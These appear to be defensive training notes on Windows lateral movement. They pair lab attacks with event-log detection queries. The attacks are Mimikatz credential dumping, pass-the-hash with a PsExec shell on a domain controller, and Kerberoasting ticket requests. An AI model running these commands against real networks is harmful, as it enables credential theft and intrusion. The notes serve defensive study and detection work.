Module 15: Windows Lateral Movement
Windows Authentication
Pass the Hash

In PtH, as long as the hash is valid, the challenge-response will succeed.
Granting SeDebugPriv with Mimikatz
C:\Windows\system32> C:\Users\mary\Desktop\Lateral_Movement\mimikatz
.#####. mimikatz 2.2.0 (x64) #19041 Aug 10 2021 02:01:23
.## ^ ##. "A La Vie, A L'Amour" - (oe.eo)
## / \ ## /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
## \ / ## > https://blog.gentilkiwi.com/mimikatz
'## v ##' Vincent LE TOUX ( vincent.letoux@gmail.com )
'#####' > https://pingcastle.com / https://mysmartlogon.com ***/
mimikatz # privilege::debug
Privilege '20' OK
Dumping available credentials with Mimikatz
mimikatz # sekurlsa::logonPasswords full
Authentication Id : 0 ; 12666091 (00000000:00c144eb)
Session : Batch from 0
User Name : offsec
Domain : CORP
Logon Server : DC01
Logon Time : 3/18/2022 12:52:53 AM
SID : S-1-5-21-2154860315-1826001137-329834519-1107
msv :
[00000003] Primary
* Username : offsec
* Domain : CORP
* NTLM : 2892d26cdf84d7a70e2eb3b9f05c425e
* SHA1 : a188967ac5edb88eca3301f93f756ca8e94013a3
* DPAPI : 5fdb91567262ddea80d60cb58266d5cd
...
Running PtH with offsec password hash via Mimikatz
mimikatz # sekurlsa::pth /domain:corp.com /user:offsec /ntlm:2892d26cdf84d7a70e2eb3b9f05c425e /run:powershell
Obtaining a remote shell on DC01 with PsExec as offsec
PS C:\Windows\system32> C:\Users\mary\Desktop\Lateral_Movement\PsExec64.exe /accepteula \\DC01 cmd.exe
PsExec v2.34 - Execute processes remotely
Copyright (C) 2001-2021 Mark Russinovich
Sysinternals - www.sysinternals.com
Microsoft Windows [Version 10.0.17763.2183]
(c) 2018 Microsoft Corporation. All rights reserved.
C:\Windows\system32>whoami
corp\offsec
C:\Windows\system32>hostname
dc01
If a user account is successfully impersonated then a logon event is generated on the machine it occurred on. This logon event ID is 4624.
Checking the status of the Logon audit policy
PS C:\Windows\system32> auditpol /get /category:"Logon/Logoff"
System audit policy
Category/Subcategory Setting
Logon/Logoff
Logon Success and Failure
Logoff Success
...

Important fields:
Subject: Lists the account that initiated the authentication event.
Logon Type: Indicates the type of logon that occurred.
New Logon: Lists the account, the initiated impersonation event, and the targeted account.
Logon Types
Interactive (also known as, Logon locally)
2
Password, Smartcard, other
Yes
Console logon; RUNAS; Hardware remote control solutions (such as Network KVM or Remote Access / Lights-Out Card in server) IIS Basic Auth (before IIS 6.0)
Network
3
Password, NT Hash, Kerberos ticket
No (except if delegation is enabled, then Kerberos tickets present)
NET USE; RPC calls; Remote registry; IIS integrated Windows auth; SQL Windows auth;
Batch
4
Password (stored as LSA secret)
Yes
Scheduled tasks
Service
5
Password (stored as LSA secret)
Yes
Windows services
NetworkCleartext
8
Password
Yes
IIS Basic Auth (IIS 6.0 and newer); Windows PowerShell with CredSSP
NewCredentials
9
Password
Yes
RUNAS /NETWORK
RemoteInteractive
10
Password, Smartcard, other
Yes
Remote Desktop (formerly known as "Terminal Services")
Detecting NewCrednetials logons by searching for LogonType 9 and EventID 4624
<QueryList>
<Query Id="0" Path="Security">
<Select Path="Security">*[System[(EventID=4624)]]
and
*[EventData[Data[@Name='LogonType'] and (Data='9')]]
</Select>
</Query>
</QueryList>
PS C:\Windows\system32> C:\Users\mary\Desktop\Lateral_Movement\Audit-NewCredentialsLogons.ps1
TimeStamp SubjectUserName TargetUserName
--------- --------------- --------------
2022-03-18T11:10:56.9064979Z mary offsec
2022-03-18T11:10:34.8463294Z mary offsec
...


XPath XML for PSExec service installation
<QueryList>
<Query Id="0" Path="System">
<Select Path="System">
*[System[(EventID=7045)]]
and
*[EventData[Data[@Name='ServiceName'] and (Data='PSEXESVC')]]
or
*[System[(EventID=7036)]]
and
*[EventData[Data[@Name='param1'] and (Data='PSEXESVC')]]
</Select>
</Query>
</QueryList>
Detecting PsExec service installation
PS C:\Users\offsec\Desktop\Lateral_Movement> .\Audit-PsExec.ps1
TimeStamp Event Details
--------- ----- -------
2022-03-18T08:07:31.717432600Z 7036 Service PSEXESVC is running
2022-03-18T08:07:31.670551100Z 7045 Service PSEXESVC installed using %SystemRoot%\PSEXESVC.exe as LocalSystem

XPath XML for Network logons
<QueryList>
<Query Id="0" Path="Security">
<Select Path="Security">*[System[(EventID=4624)]]
and
*[EventData[Data[@Name='LogonType'] and (Data='3')]]
and
*[EventData[Data[@Name='AuthenticationPackageName'] and (Data='NTLM')]]
</Select>
</Query>
</QueryList>
Detecting network logons
PS C:\Users\offsec\Desktop\Lateral_Movement> .\Audit-NetworkLogons.ps1
TimeStamp TargetUserName WorkstationName
--------- -------------- ---------------
2022-03-21T12:27:52.689874500Z offsec CLIENT03
2022-03-21T12:27:52.663173500Z offsec CLIENT03
Detecting PtH artifacts
PS C:\Users\offsec\Desktop\Lateral_Movement> .\Audit-PassTheHash.ps1
TimeStamp Event Details
--------- ----- -------
2022-03-18T08:07:31.717432600Z 7036 Service PSEXESVC is running
2022-03-18T08:07:31.677554700Z 4624 offsec logged in remotely from CLIENT03
2022-03-18T08:07:31.670551100Z 7045 Service PSEXESVC installed using %SystemRoot%\PSEXESVC.exe as LocalSystem
2022-03-18T08:07:31.530198300Z 4624 offsec logged in remotely from CLIENT03
Brute Force Domain Credentials
Creating a custom PowerShell function named Get-BadPwdCount
Discovering the PDC and creating a search root string
$Domain = [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()
$PDC = $Domain.PdcRoleOwner
$SearchRoot = "LDAP://{0}/DC={1}" -f $PDC,$Domain.Name.Replace('.',',DC=')
Instantiating a DirectorySearcher object with a custom search root
$Searcher = New-Object System.DirectoryServices.DirectorySearcher([ADSI]$SearchRoot)
Restricting our DirectorySearcher to only retrieve two attributes
$Searcher.PropertiesToLoad.Add("sAMAccountName") | Out-Null
$Searcher.PropertiesToLoad.Add("badPwdCount") | Out-Null
LDAP search filter for a specific sAMAccountName
(sAMAccountName=$Username)
LDAP search filter for all enabled user accounts
(&(objectCategory=person)(objectClass=user)(!userAccountControl:1.2.840.113556.1.4.803:=2))
Listing failed logon attempts with Get-BadPwdCount
PS C:\Users\offsec\Desktop\Lateral_Movement> . .\Get-BadPwdCount.ps1
PS C:\Users\offsec\Desktop\Lateral_Movement> Get-BadPwdCount -List | Sort BadPwdCount -Descending
SamAccountName BadPwdCount
-------------- -----------
jane 10
ben 2
Retrievin the lockout threshold with net accounts
PS C:\Users\offsec\Desktop\Lateral_Movement> net accounts
Force user logoff how long after time expires?: Never
Minimum password age (days): 1
Maximum password age (days): 42
Minimum password length: 3
Length of password history maintained: 24
Lockout threshold: 25
Lockout duration (minutes): 30
Lockout observation window (minutes): 30
Computer role: PRIMARY
The command completed successfully.
XPath XML for lockout events (4740)
<QueryList>
<Query Id="0" Path="Security">
<Select Path="Security">
*[System[(EventID=4740)]]
</Select>
</Query>
</QueryList>
We could also search through all failed logon events (4625)

Terminal Services
By default, there are two logs that will trace RDP remote connection events, namely TerminalServices-LocalSessionManager and TerminalServices-RemoteConnectionManager.
Local Session Manager logs will include information about the local terminal session on the current machine, whereas the Remote Connection Manager logs will include information about the terminal sessions events that were triggered from a remote computer.
When an RDP logon prompt is displayed, event ID 261 is created in the Remote Connection Manager logs.
If there's a successful authentication and connection then event ID 1149 is created.
XPath XML for terminal services
<QueryList>
<Query Id="0" Path="Microsoft-Windows-TerminalServices-RemoteConnectionManager/Operational">
<Select Path="Microsoft-Windows-TerminalServices-RemoteConnectionManager/Operational">
*[System[(EventID=1149)]]
</Select>
</Query>
</QueryList>
Abuse the Kerberos Ticket
Pass the Ticket
When a KDC issues a TGT, the DC will create event ID 4768. When a client makes a TGS request, the DC will create event ID 4769.
Both of these events are provided by the Kerberos Service Ticket Operations audit policy, which is a subcategory of Account Logon.
XPath XML for TGT kerberos events
<QueryList>
<Query Id="0" Path="Security">
<Select Path="Security">
*[System[band(Keywords,9007199254740992) and (EventID=4768)]]
</Select>
</Query>
</QueryList>
Extracting username and ip from 4768 events
$TimeStamp = $XML.Event.System.TimeCreated.SystemTime
$TargetUserName = $XML.Event.EventData.Data[0].'#text'
$IPAddress = $($XML.Event.EventData.Data[9].'#text')
If ($IPAddress -eq '::1') {
$IPAddress = $(Test-Connection -ComputerName $env:COMPUTERNAME -Count 1 | Select -ExpandProperty IPv4Address).IPAddressToString
}
else {
$IPAddress = $IPAddress.split('::ffff:')[-1]
}
XPath XML for TGS kerberos events
<QueryList>
<Query Id="0" Path="Security">
<Select Path="Security">
*[System[band(Keywords,9007199254740992) and (EventID=4769)]]
</Select>
</Query>
</QueryList>
Extracting username and ip from 4769 events
$TimeStamp = $XML.Event.System.TimeCreated.SystemTime
$TargetUserName = $($XML.Event.EventData.Data[0].'#text' -split '@')[0]
$IPAddress = $($XML.Event.EventData.Data[6].'#text')
If ($IPAddress -eq '::1') {
$IPAddress = $(Test-Connection -ComputerName $env:COMPUTERNAME -Count 1 | Select -ExpandProperty IPv4Address).IPAddressToString
}
else {
$IPAddress = $IPAddress.split('::ffff:')[-1]
}
Ticket stealin detection logic
$TGT = Get-TGT
$TGS = Get-TGS
ForEach ($T in $TGS) {
$Valid = $TGT | Where-Object {$_.TargetUserName -eq $($T.TargetUserName) -and $_.IPAddress -eq $($T.IPAddress)}
If (!$Valid) {
$T
}
}
Get-SessionUsers function to automate parsing output from klist
Function Get-SessionUsers {
Begin {
$Sessions = @()
$Klist = klist sessions
}
Process {
$Sessions = $Klist | Where-Object { $_ -like "*Session*$env:USERDOMAIN*" } | ForEach-Object {
[PSCustomObject]@{'LogonId' = $(($_ -split ' ')[3]).substring(2); 'User' = $($_ -split ' ')[4]}
}
}
End {
return $Sessions
}
}
Extracting user and logonid
$LogonId = $($Session.LogonId)
$Expected = $(($Session.User).Split('\')[1]).Trim()
Extracting the user from specific session TGT
$Actual = $((((klist -li $LogonId | sls '^#0') -split 'Client: ')[1] -split '@')[0]).Trim()
Comparing the expected user with the actual user
if ($Expected -ne $Actual) {
if (!$Actual -ne "$env:computername$") {
$Flagged += $Session
}
}
Kerberoasting
Kerberoasting relies on the fact that any client with a TGT can request a TGS for any service registered with a SPN in the domain.
SPN entries are stored in Active Directory as objects, and are discoverable using a simple LDAP enumeration script.
Instantiating a DirectoryServer instance restricted to two properties
$Searcher = New-Object System.DirectoryServices.DirectorySearcher
$Searcher.PropertiesToLoad.Add("sAMAccountName") | Out-Null
$Searcher.PropertiesToLoad.Add("servicePrincipalName") | Out-Null
$Searcher.PageSize = 1000
SPN LDAP Filter
$Searcher.Filter = "(&(objectCategory=person)(objectClass=user)(!userAccountControl:1.2.840.113556.1.4.803:=2)(ServicePrincipalName=*))"
Extracting SPN info from LDAP result set
$SPN = $Searcher.FindAll() | Select Path, @{l='SPN'; e={$_.Properties.serviceprincipalname}}
TGS request
foreach($spn in $SPN)
{
Add-Type -AssemblyName System.IdentityModel
New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList $spn.SPN
}

XPath XML for RC4 encrypted TGS requests
<QueryList>
<Query Id="0" Path="Security">
<Select Path="Security">
*[System[(EventID=4769)]]
and
*[EventData[Data[@Name='TicketEncryptionType'] and (Data='0x17' or Data='0x18')]]
</Select>
</Query>
</QueryList>
XPath XML for TGS honey tokens
<QueryList>
<Query Id="0" Path="Security">
<Select Path="Security">
*[System[(EventID=4769)]]
and
*[EventData[Data[@Name='ServiceName'] and (Data='Honeytoken')]]
</Select>
</Query>
</QueryList>
Last updated